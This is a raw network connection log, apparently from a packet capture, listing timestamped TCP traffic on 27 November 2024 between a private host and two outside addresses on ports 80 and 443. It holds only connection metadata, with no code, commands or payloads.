Nov 27, 2024 16:34:47.645364046 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.645402908 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.645464897 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.645976067 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.645989895 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.646038055 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.646698952 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.646780968 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.646809101 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.646852970 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.647614956 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.647666931 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.647701979 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.647808075 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.648541927 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.648704052 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.648750067 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.649475098 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.651407957 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.674608946 CET	443	49837	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:47.674623013 CET	443	49836	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:47.675087929 CET	49836	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:47.675100088 CET	443	49836	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:47.676198006 CET	49837	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:47.676212072 CET	443	49837	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:47.676249981 CET	443	49836	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:47.676378012 CET	49836	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:47.677306890 CET	443	49837	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:47.677397013 CET	49837	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:47.677903891 CET	49836	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:47.677978992 CET	443	49836	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:47.678015947 CET	49837	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:47.678081036 CET	443	49837	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:47.678395987 CET	49836	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:47.678404093 CET	443	49836	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:47.678486109 CET	49837	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:47.678492069 CET	443	49837	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:47.711900949 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.721950054 CET	49836	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:47.722103119 CET	49837	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:47.794373989 CET	443	49838	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:47.795099020 CET	49838	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:47.795119047 CET	443	49838	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:47.795692921 CET	49838	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:47.795697927 CET	443	49838	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:47.808109045 CET	443	49839	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:47.808664083 CET	49839	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:47.808691978 CET	443	49839	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:47.809463024 CET	49839	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:47.809474945 CET	443	49839	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:47.831777096 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.844014883 CET	443	49840	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:47.844594955 CET	49840	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:47.844630003 CET	443	49840	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:47.845194101 CET	49840	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:47.845207930 CET	443	49840	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:47.916995049 CET	443	49841	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:47.917699099 CET	49841	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:47.917727947 CET	443	49841	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:47.918359041 CET	49841	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:47.918365955 CET	443	49841	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:48.067742109 CET	443	49835	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:48.067807913 CET	443	49835	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:48.067888975 CET	49835	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:48.068134069 CET	49835	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:48.068156004 CET	443	49835	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:48.068171024 CET	49835	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:48.068176031 CET	443	49835	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:48.072159052 CET	49843	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:48.072205067 CET	443	49843	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:48.072292089 CET	49843	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:48.072561979 CET	49843	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:48.072576046 CET	443	49843	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:48.164581060 CET	443	49836	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:48.164608002 CET	443	49836	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:48.164617062 CET	443	49836	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:48.164634943 CET	443	49836	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:48.164669991 CET	443	49836	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:48.164690971 CET	49836	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:48.164700985 CET	443	49836	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:48.164757013 CET	49836	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:48.164763927 CET	49836	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:48.169236898 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.169329882 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.169414043 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.169524908 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.169542074 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.169610023 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.169666052 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.169718027 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.170109987 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.170156956 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.170211077 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.170264006 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.171091080 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.171129942 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.171186924 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.171186924 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.171952963 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.172028065 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.172060966 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.172106981 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.172961950 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.172983885 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.173022985 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.173039913 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.173851967 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.173899889 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.173990965 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.174030066 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.174608946 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.174666882 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.174702883 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.174751043 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.175611973 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.175667048 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.175689936 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.175718069 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.176306963 CET	443	49837	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:48.176328897 CET	443	49837	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:48.176336050 CET	443	49837	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:48.176366091 CET	443	49837	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:48.176403999 CET	443	49837	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:48.176405907 CET	49837	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:48.176428080 CET	443	49837	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:48.176445961 CET	49837	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:48.176445961 CET	49837	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:48.176459074 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.176479101 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.176516056 CET	49837	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:48.176527977 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.176554918 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.177438974 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.177504063 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.177516937 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.177562952 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.178319931 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.178339958 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.178385019 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.179347992 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.179467916 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.179558039 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.179641008 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.180118084 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.180165052 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.180177927 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.180224895 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.181148052 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.181233883 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.181293011 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.181874990 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.181940079 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.181967974 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.182012081 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.182815075 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.182838917 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.182888985 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.182909966 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.183728933 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.183806896 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.183813095 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.183860064 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.184799910 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.184818029 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.184855938 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.184870005 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.185547113 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.185630083 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.185791016 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.185847044 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.186386108 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.186427116 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.186450005 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.186475039 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.187299013 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.187329054 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.187716007 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.188213110 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.188293934 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.188316107 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.188419104 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.189124107 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.189209938 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.189232111 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.189246893 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.190087080 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.190105915 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.190156937 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.190932989 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.191020012 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.191123962 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.191186905 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.191924095 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.191941977 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.191984892 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.192831039 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.192852020 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.192905903 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.193749905 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.193857908 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.193891048 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.193947077 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.194514990 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.194612980 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.194614887 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.194654942 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.195470095 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.195588112 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.195673943 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.195732117 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.196439028 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.196470976 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.196527958 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.196527958 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.197444916 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.197506905 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.197539091 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.197747946 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.198288918 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.198308945 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.198394060 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.198520899 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.199223995 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.199242115 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.199307919 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.199307919 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.199940920 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.199961901 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.200016022 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.200855970 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.200906992 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.200932026 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.200980902 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.201755047 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.201807976 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.201833963 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.201888084 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.202934027 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.203001976 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.203463078 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.203577042 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.203593016 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.203615904 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.203643084 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.204477072 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.204572916 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.204617023 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.204668999 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.205444098 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.205466986 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.205513954 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.206271887 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.206367970 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.206377983 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.206413984 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.207237959 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.207333088 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.207446098 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.207446098 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.208129883 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.208194017 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.208223104 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.208270073 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.209036112 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.209096909 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.209145069 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.210051060 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.210103035 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.210187912 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.210206985 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.210925102 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.210977077 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.211013079 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.211054087 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.211910963 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.211961985 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.295224905 CET	443	49839	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:48.295290947 CET	443	49839	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:48.295391083 CET	49839	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:48.295439005 CET	443	49838	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:48.295504093 CET	443	49838	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:48.295562983 CET	49839	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:48.295563936 CET	49839	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:48.295583010 CET	443	49839	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:48.295592070 CET	443	49839	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:48.295607090 CET	49838	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:48.295914888 CET	49838	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:48.295934916 CET	443	49838	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:48.295999050 CET	49838	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:48.296004057 CET	443	49838	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:48.300072908 CET	49844	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:48.300107956 CET	443	49844	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:48.300188065 CET	49844	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:48.301249027 CET	49845	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:48.301285028 CET	443	49845	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:48.301367998 CET	49844	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:48.301398993 CET	443	49844	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:48.301403046 CET	49845	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:48.302161932 CET	49845	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:48.302174091 CET	443	49845	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:48.306699038 CET	443	49840	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:48.306766987 CET	443	49840	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:48.306828022 CET	49840	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:48.307004929 CET	49840	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:48.307019949 CET	443	49840	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:48.307055950 CET	49840	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:48.307061911 CET	443	49840	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:48.310024023 CET	49846	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:48.310067892 CET	443	49846	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:48.310240030 CET	49846	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:48.310363054 CET	49846	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:48.310379028 CET	443	49846	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:48.342694998 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.342710972 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.342844009 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.343252897 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.343358040 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.359690905 CET	443	49836	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:48.359721899 CET	443	49836	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:48.359766960 CET	49836	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:48.359772921 CET	443	49836	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:48.359826088 CET	49836	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:48.360466957 CET	443	49841	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:48.360503912 CET	49836	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:48.360537052 CET	443	49841	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:48.360985041 CET	49841	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:48.362142086 CET	49841	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:48.362164974 CET	443	49841	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:48.362200022 CET	49841	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:48.362205982 CET	443	49841	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:48.364196062 CET	443	49837	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:48.364219904 CET	443	49837	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:48.364289999 CET	49837	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:48.364305973 CET	443	49837	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:48.364712954 CET	49837	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:48.368582010 CET	49847	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:48.368612051 CET	443	49847	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:48.368717909 CET	49847	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:48.368885040 CET	49847	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:48.368894100 CET	443	49847	13.107.246.63	192.168.2.7
